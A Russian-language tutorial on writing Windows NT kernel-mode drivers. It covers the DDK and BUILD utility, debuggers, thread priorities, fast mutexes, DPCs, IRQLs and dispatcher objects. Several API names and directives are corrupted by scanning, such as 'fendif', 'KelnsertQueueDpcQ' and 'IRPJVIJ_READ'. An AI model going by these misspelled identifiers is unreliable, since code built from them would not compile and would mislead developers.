Самоучитель по программированию систем защиты

Что такое драйвер

Что такое драйвер

Понять, что такое драйвер, мы попробуем на типовом примере взаимодействия прикладной программы с драйвером.

Код прикладной программы исполняется в пользовательском режиме работы процессора. В этом случае имеется ряд серьезных ограничений, связанных с доступом к памяти, аппаратным обеспечением и привилегированными инструкциями процессора. Когда возникает необходимость в преодолении этих ограничений, прикладная программа обращается к ядру ОС, код которого исполняется процессором в режиме ядра. Режим ядра лишен всех упомянутых ограничений. Для расширения функциональных возможностей ядра служат драйверы ядра (kernel mode drivers). Как они работают?

В отличие от прикладной программы, драйвер не является процессом и не имеет потока исполнения. Вместо этого любая функция драйвера выполняется в контексте того потока и процесса, в котором она была вызвана. При этом вызов может происходить от прикладной программы или драйвера, либо возникать в результате прерывания. В первом случае контекст исполнения драйвера точно известен - это прикладная программа. В третьем случае контекст исполнения случайный, поскольку прерывание (и, соответственно, исполнение кода драйвера) может произойти при выполнении любой прикладной программы. Во втором случае контекст исполнения может быть как известным, так и случайным - это зависит от контекста исполнения функции вызывающего драйвера.

Под вызовом драйвера здесь подразумевается не обычный вызов функции, а передача так называемого запроса ввода/вывода.

Различают несколько классов драйверов:
  • Драйвер, получающий запросы ввода/вывода из прикладной программы, называют драйвером высшего уровня. Если такой драйвер не пользуется услугами других драйверов, он называется монолитным.

  • Драйвер, получающий запросы ввода/вывода от другого драйвера, называют промежуточным, если он пользуется услугами других драйверов, или драйвером низшего уровня, если он не пользуется услугами других драйверов.





  • С и C++. Интегрированная среда разработки

    С и C++. Интегрированная среда разработки

    Необходимо особо отметить, что драйверы предполагается писать на С, а не на C++. Microsoft не поддерживает использование C++ для компонентов ядра. Для этого имеется ряд причин:
  • отсутствие библиотеки времени исполнения (runtime library), а, следовательно, и определяемых в ней глобальных операторов new и delete4;

  • отсутствие поддержки исключительных ситуаций C++;

  • нет поддержки инициализации глобальных экземпляров классов.

  • В принципе, все эти проблемы разрешимы. Не будем останавливаться на описании конкретных способов. Об этом вы можете узнать в статье «C++ Runtime Support for the NT DDK», а также из анализа заголовочных файлов в продукте DriverWorks (в особенности файла vdw.h).

    Как было сказано выше, интегрированная среда Developer Studio не имеет поддержки для создания драйверов. Драйверы компилируются из командной строки с использованием утилиты BUILD, поставляемой в составе DDK.

    Реализовать поддержку драйверов из интегрированной среды можно несколькими способами:
  • реализацией собственного АррWizard (см. АррWizard Programming Reference);

  • созданием проекта на основе make-файла с вызовом собственного командного файла.

  • Этот файл должен:
  • произвести настройку переменных окружения с помощью вызова setenv.bat из DDK;

  • перейти в директорию с исходным текстом и вызвать утилиту build (см. также статью «Integrating BUILD and Developer Studio» в директории NT Insider).

  • Реализация собственного Арр Wizard - довольно непростая задача, однако, можно воспользоваться готовым из DriverWorks. Последовательность действий такая: выберите меню Developer Studio File\New... . В появившемся окне на закладке Projects выберите NT/WDM Driver (DriverWorks). В появившемся окне Мастера укажите тип драйвера NT и следуйте инструкциям, внося минимальные изменения. По завершении работы мастера удалите все созданные им срр- и h-файлы, и вставьте собственные с- и h-файлы.



    Среда разработки

    Среда разработки

    В этом разделе мы рассмотрим, какое программное обеспечение необходимо для разработки и отладки драйверов, а также его установку и настройку. Необходимое ПО:
  • 1. операционная система Windows NT или Windows 2000, Service Pack и отладочная информация;

  • 2. компилятор;

  • 3. SDK;

  • 4. DDK;

  • 5. средства отладки и вспомогательные средства.

  • Операционная система имеет два варианта поставки:
  • Checked build (Debug build);

  • Free build (Retail build).

  • Free build - обычная поставка. Включена полная оптимизация, отсутствуют специализированные отладочные возможности.

    Checked build - специальная поставка для использования разработчиками драйверов. Оптимизации почти нет, что способствует лучшему пониманию кода при работе под отладчиком. Специализированный отладочный код встроен во многие функции для проверки правильности параметров и перехвата ошибочных ситуаций. Поставляется только в составе подписки MSDN.

    В комплекте с ОС нам понадобится отладочная информация (файлы с расширением .dbg и .pdb). Она содержит сопоставление адресов внутри конкретного исполняемого файла с символическими именами функций и переменных и может быть использована отладчиками.

    Необходимо подчеркнуть, что символьная информация различна для checked и free версий системы.

    После установки ОС необходимо установить последнюю версию SP. Надо помнить, что SP заменяет почти все системные файлы, и поэтому для них необходима новая символьная информация.

    Для checked и free версий системы требуются отдельные версии SP. Кроме того, ОС и SP могут различаться по поддержке криптоалгоритмов (40-128 бит), что может влиять на возможность установки SP.

    Компилятор. Хотя принципиально могут использоваться компиляторы различных производителей, структура заголовочных файлов и переменных окружения, поставляемых Microsoft для создания драйверов оптимизирована для использования компилятора Microsoft Visual С. Версия компилятора должна быть не ниже 4.1, однако реально необходимая версия будет зависеть от двух других компонентов - SDK и DDK.

    MSDN Library. При установке Developer Studio запрашивается установка MSDN Library. Этот продукт предоставляет информацию о разработке ПО на всех поддерживаемых платформах Microsoft.

    SDK. В ранних версиях комплект назывался Win32 SDK, сейчас - Platform SDK. Это необязательный, но желательный для разработки драйверов компонент. Содержит заголовочные файлы, lib-файлы, документацию и примеры программирования на пользовательском уровне с использованием подсистемы Win32.

    DDK. Существуют DDK для Windows 95, Windows 98, Windows NT 4.0 и Windows 2000. DDK должен соответствовать платформе, для которой предполагается создание драйвера, что не обязательно для той, на которой производится создание. Мы будем пользоваться DDK для Windows NT 4.0. DDK содержит заголовочные файлы, доку ментацию и примеры написания драйверов, за исключением драйверов файловой системы.

    IFS Kit. Пакет для создания драйверов файловой системы. Поставляется как отдельный от подписки MSDN продукт. Существуют версии для Windows 98, Windows NT 4.0 и Windows 2000. Последние версии включают в себя DDK, но с другим набором примеров. Более ранние версии требовали предварительной установки DDK.

    Между перечисленным набором компонентов имеется взаимосвязь.

    Первым ставится компилятор. Как уже говорилось, хотя существует возможность использования компиляторов других фирм, SDK и DDK предполагают наличие именно Visual С, причем в зависимости от времени выхода SDK и DDK подразумеваются различные версии компилятора (при линковке будут указаны библиотеки различных версий - этим грешит SDK, либо будут некорректно запускаться командные файлы инициализации переменных окружения - этим грешит DDK). Кроме того, ранние версии DDK требовали обязательного наличия установленного SDK. Из возможных проблем стоит указать и то, что при использовании ОС Windows NT Workstation могут не устанавливаться системные переменные окружения.

    Расположение командных файлов для установки переменных окружения:
  • VC98\bin\vcvars32.bat;

  • Mstools\setenv.bat;

  • Ddk\bin\setenv.bat.

  • При наличии версии DDK, требующей наличия SDK, из файла Ddk\bin\setenv.bat должны быть исключены строки проверки наличия SDK и запуска файла setenv.bat, а также прописан вызов vcvars32.bat.

    Средства отладки и вспомогательные средства.

    Выбор средства отладки - важный момент, который может влиять на набор необходимых аппаратных средств.

    Вместе с продуктами Microsoft поставляются четыре отладчика:
  • 1. KD - консольная программа для отладки драйверов режима ядра, находится в директории bin пакета DDK для NT4 и Win2000. (i386kd.exe, ia64kd.exe, alphakd.exe, mipskd.exe).

  • 2. NTSD - консольная программа для отладки программ и драйверов пользовательского режима, находится в директории system32 ОС Windows 2000.

  • 3. CDB - вариант NTSD, содержится в директории bin пакета DDK для Windows 2000.

  • 4. WinDbg - графический отладчик для отладки кода как пользовательского режима, так и режима ядра, содержится в директории bin пакета DDK для Win2000 и Platform SDK.

  • Из всех перечисленных вариантов упоминания достоин лишь отладчик WinDbg. Он предоставляет удобный пользовательский интерфейс, однако очень неустойчив в работе, плохо документирован и не имеет поддержки от Microsoft. При использовании этого продукта для отладки драйверов необходимы два компьютера - Development Platform и Test Platform. Отладчик доступен для всех поддерживаемых платформ, при этом возможна кроссплатформенная отладка. Поддерживается работа на мультипроцессорных системах.

    Лучшим отладчиком для отладки ОС и драйверов многие разработчики с полным основанием считают SoftlCE фирмы NuMega, стабильный при работе, хорошо документированный, с поддержкой от фирмы. Отладка осуществляется на том же компьютере, на котором проводилась разработка, однако возможна и удаленная отладка посредством dos-программы serial.exe. Недостатком можно считать пользовательский интерфейс, однако - это дело привычки. Более серьезными недостатками является ограничение поддержки процессоров только платформой Intel, а также отсутствие поддержки мультипроцессорных систем (однако система все еще активно развивается).

    Ниже перечислены средства, которые могут выступать к качестве «наглядного пособия» при написании драйверов (часть этих средств снабжена исходными текстами):
  • 1. Monitor - просмотр трассировочной информации, выводимой драйверами и прикладными программами;

  • 2. Winobj - просмотр пространства имен диспетчера объектов;

  • 3. Handleex - информация о запущенных процессах, всех открытых ими описателях и подгруженных модулях dll;

  • 4. Filemon - просмотр активности файловых систем;

  • 5. Regmon - отслеживание обращений к реестру, в том числе на этапе загрузки системы;

  • 6. Portmon - отслеживание обращений к последовательным и параллельным портам;

  • 7. tdimon - отслеживание запросов TDI;

  • 8. Tokenmon - отслеживание работы системы безопасности.





  • Типы драйверов и характеристики

    Типы драйверов и характеристики

    В NT существует два типа драйверов: драйверы пользовательского режима и драйверы режима ядра. В дальнейшем, говоря «драйвер», мы будем подразумевать драйвер режима ядра. Такие драйверы являются частью исполнительной системы, а более точно - элементами диспетчера ввода/вывода (архитектура NT и ее компоненты будут обсуждаться ниже). Как следует из названия, при работе драйвера режима ядра процессор находится в режиме ядра (RING 0 - см. любой справочник по защищенному режиму работы процессора).

    Драйвер NT располагается в файле с расширением .sys и имеет стандартный РЕ-формат (РЕ - Portable Executable).

    Драйверы реализованы как самостоятельные модули с четко определенным интерфейсом взаимодействия с ОС. Все драйверы имеют определенный системой набор стандартных функций драйвера (standard driver routines) и некоторое число внутренних функций, определенных разработчиком.

    Драйверы режима ядра можно разбить на три типа:
  • драйверы высшего уровня (highest level drivers);

  • драйверы промежуточного уровня (intermediate drivers);

  • драйверы низшего уровня (lowest level drivers).

  • Как будет показано ниже, такое разбиение обусловлено многоуровневой моделью драйверов (layered driver model). Для сохранения общности изложения, монолитный драйвер можно включить в эту схему, хотя он не использует многоуровневую архитектуру. В этом случае он будет «гибридом» - драйвером, принадлежащим одновременно к нескольким типам. Например, монолитный драйвер, имеющий интерфейс с приложением и осуществляющий доступ к оборудованию, будет одновременно драйвером высшего и низшего уровня.

    Кроме того, в зависимости от назначения драйвера, он может являться каким-либо специализированным драйвером, то есть удовлетворять дополнительному набору требований к своей структуре. Можно привести следующие типы специализированных драйверов:
  • драйверы файловой системы;

  • сетевые драйверы.

  • Отдельно необходимо упомянуть архитектуру WDM - Windows Driver Model. Эта архитектура позволяет создавать драйверы для Windows 98 и Windows 2000, совместимые на уровне двоичного кода.

    Характеристики драйверов - это совокупность следующих вопросов:
  • 1. Поддержка динамической загрузки и выгрузки (однако могут быть исключения).

  • 2. Необходимость следовать определенным протоколам взаимодействия с системой, нарушение которых чаще всего ведет к «синему экрану» (Blue Screen Of Death, BSOD).

  • 3. Возможность «наслоения» драйверов поверх друг друга. В Win2000 эта возможность возведена в абсолют, хотя монолитные драйвера все еще поддерживаются.

  • 4. Поскольку драйвера являются частью ядра ОС, они могут сделать с системой все, что угодно, поэтому основная проблема — это закрытость архитектуры ОС.





  • Утилита BUILD

    Утилита BUILD

    Для построения драйверов и связанных с ними прикладных программ используется утилита BUILD, входящая в состав DDK. Эта утилита позволяет создавать любой тип исполняемого файла, поддерживаемый NT с использованием командной строки. Стандартного (и поддерживаемого Microsoft) способа использования Интегрированной Среды Разработки для написания драйвера не существует. (Варианты, иллюстрирующие то, как это можно сделать, мы рассмотрим в следующем разделе.)

    Возможны два варианта построения драйвера:
  • Checked build - эквивалент Debug build в интегрированной среде;

  • Free build, также называемый Retail build — эквивалент Release build в интегрированной среде.

  • Для осуществления конкретного построения необходимо запустить файл setenv.bat с соответствующими параметрами. С целью автоматизации этого процесса при установке DDK создаются ярлыки «Checked Build Environment» и «Free Build Environment». Запуск любого из них вызывает командную оболочку, из которой необходимо вызывать команду build.

    Для успешной работы команды build в текущей директории должны находиться два специальных файла: SOURCES и DIRS.

    Файл SOURCES является аналогом понятия проект. В нем определяется имя создаваемого модуля, его тип, корневая директория, где будет размещен результат, путь поиска include-файлов, список подключаемых библиотек и список файлов с исходным текстом.

    Файл DIRS определяет список поддиректорий, которые должны быть обработаны командой build, прежде чем перейти к текущей директории. Директория, в которой запускается команда build, может содержать либо файл SOURCES, либо файл DIRS, либо оба вместе. Отсутствие файлов является ошибкой.

    Директория, в которой содержится только файл DIRS, не будет обработана командой build, но будут обработаны все поддиректории из файла DIRS.

    Директория, в которой содержится только файл SOURCES, будет обработана командой build, но ни одна поддиректория обработана не будет.

    Директория, в которой содержатся оба файла, будет обработана командой build только после обработки всех поддиректорий из файла DIRS.

    Примеры файлов можно посмотреть в DDK, а полное описание утилиты build и структуры файлов - в документации к IPS Kit (В принципе, можно воспользоваться документацией к DDK, однако там описание менее понятно.)

    Теперь рассмотрим некоторые отличия checked и free build. Как ясно из названия, это отладочный и окончательный варианты драйвера. Соответственно, они отличаются режимами оптимизации кода. Для режима checked создается отладочная информация в формате dbg, которую можно использовать для отладки в символьном режиме с помощью Softlce. В режиме checked на этапе компиляции определено имя DBG, которое может быть использовано директивами
    #if DBG

    ...

    #else

    ...

    fendif
    для выполнения действий, специфичных для checked или free версий драйвера. Типичным примером является обрамление таким способом функции DbgPrintO, которая выводит трассировочную информацию. Функция работает и в checked, и в free build, однако с помощью такой проверки ее можно исключить из free build.

    Хорошо известная техника Microsoft по написанию кода - использование макроса ASSERTQ. Этот макрос проверяет условие. Если оно ложно, генерируется прерывание. При этом отладчику сообщается имя файла с исходным текстом и номер строки с макросом. Макрос работает только в checked-версии драйвера, установленного на checked-версии ОС. Во всех остальных случаях ничего не происходит.

    При создании серьезного продукта цикл разработки драйвера выглядит примерно так:
  • 1. написание кода;

  • 2. проверка и отладка отладочной версии драйвера на отладочной версии ОС;

  • 3. проверка и отладка отладочной версии драйвера на рабочей версии ОС;

  • 4. проверка рабочей версии драйвера на рабочей версии ОС;

  • 5. проверка работы на многопроцессорной системе.

  • Особо обратите внимание на последний пункт. Нет никакого другого способа убедиться в корректной работе драйвера на многопроцессорной системе, кроме его тестирования на такой системе, даже при условии корректной работы драйвера на однопроцессорной системе.



    Самоучитель по программированию систем защиты

    Базовый приоритет. Класс приоритета и относительный приоритет

    Базовый приоритет. Класс приоритета и относительный приоритет

    Ядро NT предоставляет функции для назначения потоку любого из 31 уровня приоритетов (кроме зарезервированного нулевого уровня). Программно назначенное потоку значение приоритета называют базовым приоритетом.

    Подсистема Win32 не позволяет непосредственно назначать потоку базовое значение приоритета. Вместо этого используется комбинация двух значений:
  • Класс приоритета процесса, назначаемый процессу при его создании (дальше мы будем ссылаться на этот термин как на класс приоритета).

  • Относительное значение приоритета потока внутри класса приоритета процесса (относительный приоритет).

  • На Рисунок 4 показаны группы взаимосвязанных приоритетов. Максимальный (31) и минимальный (1) из возможных приоритетов определяются в Win32 как THREAD_ PRIORITY_TIME_CRITICAL и THREAD_PRIORITY_IDLE соответственно.

    В таблице 3 приведены все возможные классы приоритетов. По умолчанию, процесс имеет класс NORMAL_PRIORITY_CLASS, если при вызове функции CreateProcess() не было указано другого. Прикладная программа может получать/изменять класс приоритета процесса с помощью функций Win32-API GetPriotityClass() / SetPriorityClass() .

    Быстрые мьютексы

    Быстрые мьютексы

    Быстрый мьютекс являются урезанным вариантом мьютекса, который не может быть рекурсивно захвачен. Поскольку быстрый мьютекс не является диспетчерским объектом, он не может использоваться функцией KeWaitForSingleObject() или KeWaitForMultipleObjects(). Вместо этого нужно использовать функцию ExAcquireFast Mutex(). Эквивалента быстрым мьютексам на пользовательском уровне нет, поэтому они могут использоваться только для синхронизации кода режима ядра.

    Функции работы с быстрыми мьютексами:
  • 1. VOID ExInitializeFastMutex(IN PFAST_MUTEX FastMutex);

    2. VOID ExAcquireFastMutex(IN PFAST_MUTEX FastMutex);

    3. BOOLEAN ExTryToAcquireFastMutex(IN PFAST_MUTEX FastMutex);

    4. VOID ExReleaseFastMutex(IN PFAST_MUTEX FastMutex);

    5. VOID ExAcquireFastMutexUnsafe(IN PFAST_MUTEX FastMutex);

    6. VOID ExReleaseFastMutexUnsafe (IN PFAST_MUTEX FastMutex).





  • Целевой процессор для DPC (DPC Target Processor)

    В дополнение к важности, каждый DPC Объект имеет целевой процессор (target processor). Это значение хранится в поле Number Объекта DPC. Целевой процессор показывает, ограничено ли выполнение DPC заданным процессором в системе, и, если да, то каким процессором. По умолчанию, Reinitialize Dpc() не определяет целевой процессор. Следовательно, по умолчанию, процедуры DPC будут работать на процессоре, на котором они запрошены (то есть, DPC будет вызван на процессоре, на котором была вызвана подпрограмма KelnsertQueueDpc()).

    DPC может быть ограничено выполнением на указанном процессоре, используя функцию KeSetTargetProcessorDpc(), прототип которой:
    VOID KeSetTargetProcessorDpc(IN PKDPC Dpc,

    IN CCHAR Number);
    Где:

    Dpc - Указывает на объект DPC, для которого должен быть установлен целевой процессор;

    Number - отсчитываемый от нуля номер процессора, на котором должен быть выполнен DPC.

    Подобно важности DPC, целевой процессор DPC почти никогда не устанавливается драйвером устройства. Заданное по умолчанию значение, которое служит для выполнения DPC на текущем процессоре, почти всегда желательно.

    Когда для Объекта DPC установлен конкретный целевой процессор, такой Объект DPC будет всегда ставиться в Очередь DPC указанного процессора. Таким образом, например, даже когда KelnsertQueueDpc() вызывается на процессоре 0, Объект DPC с установленным в качестве целевого процессора Процессором 1 будет вставлен в Очередь DPC Процессора 1.

    Динамические приоритеты и приоритеты реального времени

    Динамические приоритеты и приоритеты реального времени

    Приоритеты планирования делятся на две главных группы:
  • динамические приоритеты (dynamic priorities);

  • приоритеты реального времени (real-time priorities).

  • Динамические приоритеты имеют значения в диапазоне 1-15. Они названы динамическими, потому что ОС может динамически изменять приоритет потока в этом диапазоне.

    Приоритеты реального времени имеют значения в диапазоне 16-31. ОС не может изменять значение приоритета потока, находящееся в этом диапазоне.

    Имеется два важных отличия между динамическими приоритетами и приоритетами реального времени.

    Поток с приоритетом реального времени может сохранять контроль над процессором до тех пор, пока не появится поток с большим или равным значением приоритета. Таким образом, пока выполняется поток реального времени, потоки с меньшим значением приоритета никогда не получат шанса исполниться (механизм вытесняющей многозадачности не задействован). Такой поток должен сам освободить процессор.

    Однако в любом случае при появлении потока с большим или равным значением приоритета задействуется механизм вытесняющей многозадачности.

    В случае потоков с динамическими приоритетами, потоки с меньшими приоритетами также не могут получить шанса на исполнение, пока готовы к исполнению потоки с большими приоритетами.

    Однако, в ряде случаев планировщик повышает приоритет потоков в диапазоне динамических приоритетов. Это дает возможность рано или поздно выполниться любому потоку с приоритетом в этом диапазоне.

    К механизму повышения приоритетов применимы следующие утверждения:
  • 1. Система никогда не меняет приоритет потоков из диапазона приоритетов реального времени.

  • 2. Повышение приоритета не может вызвать его переход в диапазон приоритетов реального времени, то есть превысить значение 15.

  • 3. Повышение приоритета операционной системой является временным. Каждый раз, когда поток исчерпывает отведенный ему квант времени, значение его приоритета уменьшается на единицу. Так\происходит до достижения значения базового приоритета.

  • 4. Операционная система не может снизить приоритет ниже уровня базового приоритета.

  • 5. Повышение приоритета может происходить несколько раз подряд.


  • DIRQLs

    DIRQLs

    Все уровни IRQL выше Dispatch Level относятся к аппаратным прерываниям. Аппаратные прерывания периферийных устройств системы (например, дисков, клавиатур, последовательных портов) отображаются на уровни IRQL в диапазоне Device Level. Из Таблицы 5 вы можете видеть, что на процессорах Intel этот диапазон лежит от 3 до 26, а на машинах Alpha - от 3 до 4. Тот факт, что существует такая разница между двумя диапазонами, имеет следствием то, что NT в действительности не располагает обычные прерывания устройств в соответствии с приоритетом. Даже на процессорах Intel, где аппаратные прерывания могут иметь различные значения IRQL, назначение IRQL является случайным.

    Так как это может быть важным моментом для разработчиков драйвера устройства в некоторых системах, необходимо повторить снова: связь между двумя IRQ, назначенными двум определенным устройствам не обязательно сохраняется, когда IRQL назначены этим устройствам. Назначен ли устройству с более важным IRQ более высокий (то есть более важный) уровень IRQL, полностью зависит от HAL. В действительности, в большинстве HAL стандартных многопроцессорных систем х86, для систем, которые используют архитектуры APIC, связь между IRQ и IRQL не сохраняется.

    Уровни IRQL выше Device Level имеют предопределенные связи с определенными прерываниями. Profile Level относится к таймеру профилирования ядра (механизму измерения производительности системы), Clock Level относится к такту системных часов, IPI Level относится к сигналам, посылаемым от одного CPU к другому, и Power Level относится к событиям сбоя в питании.

    NT резервирует, но в настоящий момент не использует IRQL High Level.

    IRQL highjevel всегда определяется как самый высокий уровень IRQL в системе Windows NT. Этот уровень IRQL используется для NMI (Немаскируемого Прерывания) и других прерываний очень высокого приоритета. В редких случаях, когда драйвер устройства нуждается в блокировании прерываний на конкретном процессоре на короткий период, драйвер может поднимать IRQL до уровня high_level, но такое повышение уровня IRQL драйвером устройства считается очень решительным шагом, и в Windows NT это почти не требуется.

    Подъем IRQL до уровня HIGH_LEVEL большинству драйверов Windows NT желательно никогда не делать. Блокирование прерываний является широко используемым методом для достижения синхронизации на других операционных системах (типа DOS или Win9x). Однако, в Windows NT, простое поднятие до IRQL HIGH_LEVEL в целях синхронизации не будет работать на многопроцессорных системах. Код режима ядра выполняет сериализацию, используя спин-блокировки, которые подробно описаны в разделе "Механизмы синхронизации".



    Диспетчер Объектов

    Диспетчер Объектов

    Диспетчер Объектов (object manager), который является вероятно наименее известной из подсистем Исполнительной Системы NT, является также одним из наиболее важных. Главная роль операционной системы - это управление физическими и логическими ресурсами компьютера. Другие подсистемы Исполнительной Системы используют Диспетчер Объектов, чтобы определять и управлять объектами, которые представляют ресурсы.

    Диспетчером объектов нельзя манипулировать из пользовательского режима напрямую, а его пространство имен является невидимым.

    В таблице 2 приведен список объектов, определенных в NT 4.0, и подсистем исполнительной системы, которые управляют ими.

    Диспетчер Объектов исполняет обязанности:
  • Поддержание единого пространства имен для всех именованных объектов системы.

  • Отвечает за создание, удаление и управление именованными и неименованными объектами ОС, представляющими системные ресурсы.

  • Обязанности по управлению объектами включают в себя идентификацию и подсчет ссылок. Когда прикладная программа открывает ресурс, Диспетчер Объектов или определяет местонахождение связанного с ресурсом объекта, или создает новый объект. Вместо возвращения прикладной программе, которая открыла ресурс, указателя на объект, Диспетчер Объектов возвращает непрозрачный (не имеющий смысла) идентификатор, называемый дескриптором. Значение дескриптора уникально в рамках прикладной программы, которая открыла ресурс, но не уникально между различными прикладными программами.

    Диспетчерские объекты

    Диспетчерские объекты

    Спин-блокировки абсолютно необходимы в случаях, когда требуется синхронизация кода, работающего на повышенных уровнях IRQL. Но основное правило в NT -работать на повышенных уровнях IRQL в течение как можно более короткого времени значит, использование спин-блокировок следует по возможности избегать. Диспетчерские объекты NT - это набор механизмов синхронизации, рассчитанных на применение в основном для уровня IRQL PASSIVE_LEVEL.

    Базой для любого диспетчерского объекта является структура DISPAT-CHER_HEADER (определена в ntddk.h). Общим свойством любого диспетчерского объекта является то, что в каждый момент времени такой объект находится в одном из двух состояний - сигнальном или несигнальном, а также то, что поток, ожидающий захвата диспетчерского объекта, блокирован и помещен в список ожидания, находящийся в структуре DISPATCHER_HEADER.

    Блокирование потока означает его особое состояние, при котором он не занимает время процессора. Блокированный поток не будет поставлен планировщиком в очередь на исполнение до тех пор, пока не будет выведен из состояния блокирования. Это фундаментально отличает ожидание освобождения любого диспетчерского объекта от попытки захвата спин-блокировки. В последнем случае, как было сказано, поток, захватывающий спин-блокировку, «крутится» в бесконечном цикле до момента успешного захвата (отсюда и название спин-блокировка - блокировка вращения в бесконечном цикле).

    Единственным отличием одного диспетчерского объекта от другого является правило, в соответствии с которым меняется состояние объекта (переход в сигнальное или несигнальное состояние). В таблице 8 перечислены диспетчерские объекты и моменты изменения их состояния.

    Диспетчерские точки входа драйвера

    Диспетчерские точки входа драйвера

    Информация, требуемая для выполнения запроса ввода/вывода, содержится в различных элементах как фиксированной части IRP, так и стека размещения ввода/вывода. Рассмотрим эти элементы. Структура поля Parameters в стеке размещения ввода/ вывода зависит от кода главной и второстепенной функции ввода/вывода. Нас в основном будет интересовать структура поля Parameters для запросов чтения, записи и пользовательских запросов ввода/вывода:
  • 1. IRPJVIJ_READ. Параметры для этого функционального кода содержат следующее:
  • Parameters.Read.Length (ULONG) содержит размер в байтах буфера инициатора запроса.

  • Parameters. Read.Key (ULONG) содержит ключевое значение, которое нужно использовать при чтении. Обычно представляет интерес только для драйверов файловой системы.

  • Parameters .Read.ByteOfFset (LARGE_INTEGER) содержит смещение (обычно в файле), с которого должна начаться операция чтения.

  • 2. IRP_MJ_WRITE. Параметры для этого функционального кода следующие:
  • Parameters. Write.Length (ULONG) содержит размер в байтах буфера инициатора запроса.

  • Parameters.Write.Key (ULONG) содержит ключевое значение, которое нужно использовать при записи. Обычно представляет интерес только для драйверов файловой системы.

  • Parameters.Write.ByteOffset (LARGE_INTEGER) содержит смещение (обычно в файле) с которого должна начаться операция записи.

  • 3. IRPJMJ_DEVICE_CONTROL. Параметры для этого функционального кода следующие:
  • Parameters.DeviceloControl.OutputBufferLength (ULONG) содержит длину в байтах буфера OutBuffer.

  • Parameters.DeviceloControl.InputBufferLength (ULONG) содержит длину в байтах буфера InBuffer.

  • Parameters. DeviceloControl.ControlCode (ULONG) содержит код управления вводом/выводом, идентифицирующий запрашиваемую функцию управления устройством. Этот управляющий код обычно предварительно определен драйвером с использованием макрокоманды CTL_CODE.

  • Parameters.DeviceloControl.TypeSInputBuffer (PVOID) содержит виртуальный адрес буфера инициатора запроса InBuffer (см. функцию Win32 API DeviceloControl()). Адрес обычно используется только тогда, когда IOCTL использует METHOD_NEITHER.


  • DPC на многопроцессорных системах

    DPC на многопроцессорных системах

    Вопреки тому, что утверждалось в некоторых других источниках, и, как должно быть очевидно из предшествующего обсуждения, одна и та же подпрограмма DPC может выполняться на нескольких процессорах одновременно. Нет абсолютно никакого блокирования со стороны Микроядра, чтобы предотвратить это.

    Рассмотрим случай драйвера устройства, который в одно и то же время имеет несколько запросов, ожидающих обработки. Устройство драйвера прерывается на Процессоре 0, выполняется программа обработки прерывания драйвера и запрашивает DPC для завершения обработки прерывания. Это стандартный путь, которому следуют драйверы в Windows NT. Когда завершается программа обработки прерывания, и система готова возвратиться к прерванному потоку пользователя, уровень IRQL процессора О понижается от DIRQL, на котором выполнялась ISR, до IRQL dispatch_level. В результате, Микроядро обслуживает Очередь DPC, удаляя Объект DPC драйвера и вызывая указанную в нем подпрограмму DPC. На Процессоре 0 теперь выполняется подпрограмма DPC драйвера.

    Сразу после вызова подпрограммы DPC драйвера, устройство генерирует прерывание еще раз. Однако на этот раз, по причинам, известным только аппаратуре, прерывание обслуживается на Процессоре 1. Снова, программа обработки прерывания драйвера запрашивает DPC. И, снова, когда программа обработки прерывания закончится, система (Процессор 1) готова возвратиться к прерванному потоку пользователя. При этом IRQL процессора 1 понижается до уровня IRQL dispatch_level, и Микроядро обслуживает Очередь DPC. Делая так (и по-прежнему выполняясь на Процессоре 1), микроядро удаляет Объект DPC драйвера, и вызывает подпрограмму DPC драйвера. Подпрограмма DPC драйвера теперь выполняется на Процессоре 1. Предполагая, что подпрограмма DPC драйвера еще не завершила выполнение на Процессоре 0, заметим, что та же самая подпрограмма DPC теперь выполняется параллельно на обоих процессорах.

    Этот пример подчеркивает важность использования в драйверах надлежащего набора механизмов многопроцессорной синхронизации. В особенности, в функции DPC должны использоваться спин-блокировки для сериализации доступа к любым структурам данных, к которым нужно обратиться как к единому целому, при условии, что конструкция драйвера такая, что одновременно может произойти несколько вызовов DPC.

    DPC-объекты Вызов DPC описывается

    Многочисленные обращения к DPC

    Каждый DPC описан конкретным Объектом DPC. В результате всякий раз, когда вызывается функция KelnsertQueueDpc() и выясняется, что переданный ей Объект DPC уже находится в той же самой Очереди DPC, функция KelnsertQueueDpcQ просто возвращается (не выполняя никаких действий). Таким образом, всякий раз, когда Объект DPC уже находится в Очереди DPC, любые последующие попытки постановки в очередь того же самого Объекта DPC, осуществляемые до удаления Объекта DPC из очереди, игнорируются. Это имеет смысл, так как Объект DPC может физически быть включен только в одну Очередь DPC одновременно.

    Может возникнуть очевидный вопрос: Что произойдет, когда сделан запрос постановки Объекта DPC в очередь, но система уже выполняет подпрограмму DPC, указанную этим Объектом DPC (на этом же или другом процессоре)? Ответ на этот вопрос может быть найден при внимательном чтении предыдущего раздела. Когда Микроядро обслуживает Очередь DPC, оно удаляет Объект DPC из головы очереди, и только потом вызывает подпрограмму DPC, указанную Объектом DPC. Таким образом, когда подпрограмма DPC вызвана, Объект DPC уже удален из Очереди DPC процессора. Поэтому, когда сделан запрос на постановку Объекта DPG в очередь и система находится внутри подпрограммы DPC, заданной в этом Объекте DPC, DPC ставится в очередь как обычно.

    DpcForlsr

    DpcForlsr

    Как уже было сказано ранее в этой главе, наиболее часто DPC используются для завершения Программы Обработки Прерывания (ISR). Для того, чтобы упростить драйверам устройств запросы DPC для завершения ISR из их функций ISR, Диспетчер ввода/вывода определяет специальный DPC, который может использоваться для этой цели. Этот DPC называется DpcForlsr.

    Диспетчер ввода/вывода вставляет Объект DPC в каждый Объект Устройство, который он создает. Этот внедренный Объект DPC инициализируется драйвером устройства, обычно при первой загрузке драйвера, посредством вызова функции IoInitializeDpcRequest().

    IoInitializeDpcRequest() принимает на входе указатель на Объект Устройство, в который внедрен Объект DPC, указатель на функцию драйвера для вызова, и значение контекста для передачи этой функции. IoInitializeDpcRequest(), в свою очередь, вызывает KelnitializeDpc(), чтобы инициализировать внедренный Объект DPC, передавая указатель на функцию драйвера как параметр DeferredRoutine, и значение контекста как параметр DeferredContext.

    Чтобы запросить DPC из ISR, драйвер просто вызывает loRequestDpc(), передавая указатель на Объект Устройство. IoRequestDpc(), в свою очередь, вызывает KelnsertQueueDpc() для Объекта DPC, внедренного в Объект-Устройство.

    Поскольку все драйверы устройства имеют Объекты-Устройства, и все драйверы, которые используют прерывания, также используют DPC, использование механизма DpcForlsr Диспетчера ввода/вывода очень удобно. Фактически, большинство драйверов устройств в Windows NT никогда напрямую не вызывают функции KelnitializeDpc() или KelnsertQueueDpc(), а вместо этого вызывают loInitializeDpcRequest() и IoRequestDpc().



    Функции работы с памятью

    Функции работы с памятью

